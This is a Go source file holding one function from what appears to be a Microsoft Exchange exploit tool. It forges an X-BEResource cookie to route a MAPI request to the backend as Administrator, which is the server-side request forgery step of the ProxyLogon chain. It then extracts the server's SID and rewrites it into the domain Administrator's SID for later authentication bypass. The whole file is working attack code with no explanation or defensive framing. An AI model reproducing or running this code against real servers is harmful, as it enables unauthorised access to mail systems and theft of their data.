package lib

import (
	"crypto/tls"
	"encoding/base64"
	"io/ioutil"
	"net/http"
	"strings"
	"time"
)

func GetSID(url, fqdn, legacydn, servDN string) string {

	b := `AAAAAADkBAAACQQAAAkEAAAAAAAA`
	decodeString, _ := base64.StdEncoding.DecodeString(b)
	postdata := legacydn + string(decodeString)
	cli := &http.Client{Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},

		Timeout: time.Second * 5}
	request, err := http.NewRequest(http.MethodPost, url, strings.NewReader(postdata))
	if err != nil {
		panic(err)
	}
	request.Header.Add("Accept", "*/*")
	request.Header.Add("Clientinfo", "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}")
	request.Header.Add("Connection", "keep-alive")
	request.Header.Add("Content-Type", "application/mapi-http")
	request.Header.Add("Cookie", " X-BEResource=Administrator@"+fqdn+":444/mapi/emsmdb?MailboxId="+servDN+"@gg.com&a=~1942062522;")
	request.Header.Add("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:86.0) Gecko/20100101 Firefox/86.0")
	request.Header.Add("X-Clientapplication", "Outlook/15.0.4815.1002")
	request.Header.Add("X-Requestid", "{C715155F-2BE8-44E0-BD34-2960067874C8}:2")
	request.Header.Add("X-Requesttype", "Connect")

	do, err := cli.Do(request)
	if err != nil {
		panic(err)
	}
	defer func() {
		_ = do.Body.Close()
	}()

	all, err := ioutil.ReadAll(do.Body)
	if err != nil {
		panic(err)
	}
	var sid string
	if strings.Contains(string(all), "and MasterAccountSid") == true {
		s1 := strings.Split(string(all), "with SID ")
		s2 := strings.Split(s1[1], " and Mast")
		split := strings.Split(s2[0], "-")
		var buff strings.Builder
		for i := 0; i < 7; i++ {
			buff.Write([]byte(split[i]))
			buff.Write([]byte("-"))
		}
		s := buff.String()
		sid = s + "500"
	}
	return sid
}
